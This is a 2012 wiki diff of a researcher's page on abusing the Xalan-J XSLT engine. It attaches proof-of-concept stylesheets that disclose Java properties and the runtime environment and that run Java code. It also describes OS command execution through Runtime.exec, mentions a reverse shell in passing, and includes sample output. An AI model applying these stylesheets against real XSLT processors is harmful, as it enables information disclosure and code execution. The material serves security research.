Skip to Content

Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 17.1 Icon
edited by Nicolas Gregoire
on 2012/01/10 11:19
Change comment: There is no comment for this version
To version Icon 46.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:44
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -1,87 +1,62 @@
1 1  [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
2 2  
3 3  
4 -Supported XSLT version : 1.0
4 +== Supported version ==
5 5  
6 +1.0
6 6  
7 7  == Command line ==
8 8  
9 -java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
10 +$> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
10 10  
12 +__Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
13 +
11 11  == Identification strings ==
12 12  
13 -| xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
14 -| xsl:vendor|Apache Software Foundation
15 -| xsl:version|1.0
16 +|=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
17 +|=xsl:vendor|Apache Software Foundation
18 +|=xsl:version|1.0
16 16  
17 17  == Special features ==
18 18  
22 +* Java properties disclosure
23 +* Java environment disclosure
24 +* Java code execution
25 +* OS command execution
19 19  * File creation
20 -* Code execution
21 21  * JDBC connectivity
22 -* Java properties
23 -* CheckEnv()
24 24  
25 -== CheckEnv() ==
29 +== Java properties disclosure ==
26 26  
27 -The following code will display some information about the execution context :
31 +The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
28 28  
29 -[[checkenv.xsl>>attach:checkenv.xsl]]
33 +|=Namespace|=Function|=PoC|=Sample output
34 +|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
30 30  
31 -TODO
36 +== Java environment disclosure ==
32 32  
33 -=== Code ===
38 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
34 34  
35 -##<?xml version="1.0"?>
36 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
37 - xmlns:xalan="http:~/~/xml.apache.org/xalan"
38 - exclude-result-prefixes="xalan"
39 - version="1.0">##
40 +|=Namespace|=Extension function|=PoC|=Sample output
41 +|http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
40 40  
41 - <xsl:output indent="yes"/>
42 - <xsl:template match="/">
43 - (% style="color:red" %)<xsl:copy-of select="xalan:checkEnvironment()"/>
43 +== Java code execution ==
44 44  
45 - </xsl:template>
46 -\\</xsl:stylesheet>
45 +The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
47 47  
48 -=== Output ===
47 +|=Namespace|=Extension function|=PoC|=Sample output
48 +|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 +Wed Jan 11 22:45:07 CET 2012
49 49  
50 -<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension>
51 -<EnvironmentCheck version="$Revision$">
52 -<environment>
53 -<item key="version.DOM.draftlevel">2.0fd</item>
54 -<item key="java.class.path">:/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/xalan25.jar:/usr/share/java/bsf-2.4.0.jar</item>
55 -<item key="version.JAXP">1.1 or higher</item>
56 -<item key="java.ext.dirs">/usr/lib/jvm/java-6-openjdk/jre/lib/ext:/usr/java/packages/lib/ext</item>
57 -<item key="version.xerces2">Xerces-J 2.9.1</item>
58 -<item key="version.xerces1">not-present</item>
59 -<item key="version.xalan2_2">Xalan Java 2.7.1</item>
60 -<item key="version.xalan1">not-present</item>
61 -<item key="version.ant">not-present</item>
62 -<item key="java.version">1.6.0_20</item>
63 -<item key="version.DOM">2.0</item>
64 -<item key="version.crimson">not-present</item>
65 -<item key="sun.boot.class.path">/usr/lib/jvm/java-6-openjdk/jre/lib/resources.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/rt.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/jsse.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/jce.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/charsets.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/netx.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/plugin.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/rhino.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-openjdk/jre/classes</item>
66 -<foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar>
67 -<foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar>
68 -<foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar>
69 -<foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar>
70 -<item key="version.SAX">2.0</item>
71 -<item key="version.xalan2x">Xalan Java 2.7.1</item>
72 -</environment>
73 -<status result="OK"/>
74 -</EnvironmentCheck>
75 -</checkEnvironmentExtension>
51 +== OS command execution ==
76 76  
77 -== Java code execution ==
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT), but this is not a problem if a reverse-shell have already been started, isn't it ;-)
78 78  
79 -The following code will display the current date :
80 80  
81 -TODO
56 +Note : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
82 82  
83 -== Execution of external commands ==
84 84  
59 +
85 85  The following code will execute the command "touch /tmp/hello" :
86 86  
87 87  <?xml version="1.0"?>
Icon checkenv.xsl
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -324 bytes
Content
... ... @@ -1,14 +1,0 @@
1 -<?xml version="1.0"?>
2 -
3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 - xmlns:xalan="http://xml.apache.org/xalan"
5 - exclude-result-prefixes="xalan"
6 - version="1.0">
7 -
8 - <xsl:output indent="yes"/>
9 - <xsl:template match="/">
10 - <xsl:copy-of select="xalan:checkEnvironment()"/>
11 - </xsl:template>
12 -
13 -</xsl:stylesheet>
14 -
Icon properties.xml
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +2.7 KB
Content
... ... @@ -1,0 +1,73 @@
1 +<properties>
2 +<property>awt.toolkit</property>
3 +<property>browser</property>
4 +<property>browser.vendor</property>
5 +<property>browser.version</property>
6 +<property>file.encoding</property>
7 +<property>file.encoding.pkg</property>
8 +<property>file.separator</property>
9 +<property>file.separator.applet</property>
10 +<property>http.agent</property>
11 +<property>java.awt.graphicsenv</property>
12 +<property>java.awt.printerjob</property>
13 +<property>java.class.path</property>
14 +<property>java.class.version</property>
15 +<property>java.class.version.applet</property>
16 +<property>java.endorsed.dirs</property>
17 +<property>java.ext.dirs</property>
18 +<property>java.home</property>
19 +<property>java.io.tmpdir</property>
20 +<property>java.library.path</property>
21 +<property>java.runtime.name</property>
22 +<property>java.runtime.version</property>
23 +<property>java.specification.name</property>
24 +<property>java.specification.vendor</property>
25 +<property>java.specification.version</property>
26 +<property>java.vendor</property>
27 +<property>java.vendor.applet</property>
28 +<property>java.vendor.url</property>
29 +<property>java.vendor.url.applet</property>
30 +<property>java.vendor.url.bug</property>
31 +<property>java.version</property>
32 +<property>java.version.applet</property>
33 +<property>java.vm.info</property>
34 +<property>java.vm.name</property>
35 +<property>java.vm.specification.name</property>
36 +<property>java.vm.specification.vendor</property>
37 +<property>java.vm.specification.version</property>
38 +<property>java.vm.vendor</property>
39 +<property>java.vm.version</property>
40 +<property>javax.accessibility.assistive_technologies</property>
41 +<property>line.separator</property>
42 +<property>line.separator.applet</property>
43 +<property>os.arch</property>
44 +<property>os.arch.applet</property>
45 +<property>os.name</property>
46 +<property>os.name.applet</property>
47 +<property>os.version</property>
48 +<property>os.version.applet</property>
49 +<property>package.restrict.definition.java</property>
50 +<property>package.restrict.definition.sun</property>
51 +<property>path.separator</property>
52 +<property>path.separator.applet</property>
53 +<property>sun.arch.data.model</property>
54 +<property>sun.boot.class.path</property>
55 +<property>sun.boot.library.path</property>
56 +<property>sun.cpu.endian</property>
57 +<property>sun.cpu.isalist</property>
58 +<property>sun.desktop</property>
59 +<property>sun.io.unicode.encoding</property>
60 +<property>sun.java.launcher</property>
61 +<property>sun.jnu.encoding</property>
62 +<property>sun.management.compiler</property>
63 +<property>sun.os.patch.level</property>
64 +<property>user.country</property>
65 +<property>user.dir</property>
66 +<property>user.home</property>
67 +<property>user.language</property>
68 +<property>user.name</property>
69 +<property>user.timezone</property>
70 +<property>user.variant</property>
71 +<property>user.zoneinfo.dir</property>
72 +</properties>
73 +
Icon xalanj-checkenv-output.txt
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +2.5 KB
Content
... ... @@ -1,0 +1,31 @@
1 +<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension>
2 + <EnvironmentCheck version="$Revision$">
3 + <environment>
4 + <item key="version.DOM.draftlevel">2.0fd</item>
5 + <item key="java.class.path">/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar</item>
6 + <item key="version.JAXP">1.1 or higher</item>
7 + <item key="java.ext.dirs">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext</item>
8 + <item key="version.xerces2">Xerces-J 2.9.1</item>
9 + <item key="version.xerces1">not-present</item>
10 + <item key="version.xalan2_2">Xalan Java 2.7.1</item>
11 + <item key="version.xalan1">not-present</item>
12 + <item key="version.ant">not-present</item>
13 + <item key="java.version">1.6.0_26</item>
14 + <item key="version.DOM">2.0</item>
15 + <item key="version.crimson">not-present</item>
16 + <item key="sun.boot.class.path">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes</item>
17 + <foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar>
18 + <foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar>
19 + <foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar>
20 + <foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar>
21 + <foundJar desc="apparent.version" name="serializer.jar">serializer.jar present-unknown-version</foundJar>
22 + <foundJar desc="path" name="serializer.jar">/usr/share/java/serializer.jar</foundJar>
23 + <foundJar desc="apparent.version" name="xsltc.jar">xsltc.jar present-unknown-version</foundJar>
24 + <foundJar desc="path" name="xsltc.jar">/usr/share/java/xsltc.jar</foundJar>
25 + <item key="version.SAX">2.0</item>
26 + <item key="version.xalan2x">Xalan Java 2.7.1</item>
27 + </environment>
28 + <status result="OK"/>
29 + </EnvironmentCheck>
30 +</checkEnvironmentExtension>
31 +
Icon xalanj-checkenv.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +310 bytes
Content
... ... @@ -1,0 +1,11 @@
1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:xalan="http://xml.apache.org/xalan"
3 + version="1.0">
4 +
5 + <xsl:output method="xml" indent="yes" xalan:indent-amount="4"/>
6 + <xsl:template match="/">
7 + <xsl:copy-of select="xalan:checkEnvironment()"/>
8 + </xsl:template>
9 +
10 +</xsl:stylesheet>
11 +
Icon xalanj-java-date.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +409 bytes
Content
... ... @@ -1,0 +1,11 @@
1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-java-properties-output.txt
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +2.8 KB
Content
... ... @@ -1,0 +1,73 @@
1 +<?xml version="1.0" encoding="UTF-8"?>
2 +awt.toolkit:
3 +browser:
4 +browser.vendor:
5 +browser.version:
6 +file.encoding: UTF-8
7 +file.encoding.pkg: sun.io
8 +file.separator: /
9 +file.separator.applet:
10 +http.agent:
11 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
12 +java.awt.printerjob: sun.print.PSPrinterJob
13 +java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar
14 +java.class.version: 50.0
15 +java.class.version.applet:
16 +java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed
17 +java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext
18 +java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre
19 +java.io.tmpdir: /tmp
20 +java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib
21 +java.runtime.name: Java(TM) SE Runtime Environment
22 +java.runtime.version: 1.6.0_26-b03
23 +java.specification.name: Java Platform API Specification
24 +java.specification.vendor: Sun Microsystems Inc.
25 +java.specification.version: 1.6
26 +java.vendor: Sun Microsystems Inc.
27 +java.vendor.applet:
28 +java.vendor.url: http://java.sun.com/
29 +java.vendor.url.applet:
30 +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
31 +java.version: 1.6.0_26
32 +java.version.applet:
33 +java.vm.info: mixed mode, sharing
34 +java.vm.name: Java HotSpot(TM) Client VM
35 +java.vm.specification.name: Java Virtual Machine Specification
36 +java.vm.specification.vendor: Sun Microsystems Inc.
37 +java.vm.specification.version: 1.0
38 +java.vm.vendor: Sun Microsystems Inc.
39 +java.vm.version: 20.1-b02
40 +javax.accessibility.assistive_technologies:
41 +line.separator:
42 +
43 +line.separator.applet:
44 +os.arch: i386
45 +os.arch.applet:
46 +os.name: Linux
47 +os.name.applet:
48 +os.version: 2.6.32-37-generic
49 +os.version.applet:
50 +package.restrict.definition.java:
51 +package.restrict.definition.sun:
52 +path.separator: :
53 +path.separator.applet:
54 +sun.arch.data.model: 32
55 +sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes
56 +sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386
57 +sun.cpu.endian: little
58 +sun.cpu.isalist:
59 +sun.desktop: gnome
60 +sun.io.unicode.encoding: UnicodeLittle
61 +sun.java.launcher: SUN_STANDARD
62 +sun.jnu.encoding: UTF-8
63 +sun.management.compiler: HotSpot Client Compiler
64 +sun.os.patch.level: unknown
65 +user.country: FR
66 +user.dir: /home/bob/foobar
67 +user.home: /home/bob
68 +user.language: fr
69 +user.name: bob
70 +user.timezone:
71 +user.variant:
72 +user.zoneinfo.dir:
73 +
Icon xalanj-java-properties.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +276 bytes
Content
... ... @@ -1,0 +1,7 @@
1 +<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
2 + <xsl:template match="//property">
3 + <xsl:variable name="p" select="text()"/>
4 + <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/>
5 + </xsl:template>
6 +</xsl:stylesheet>
7 +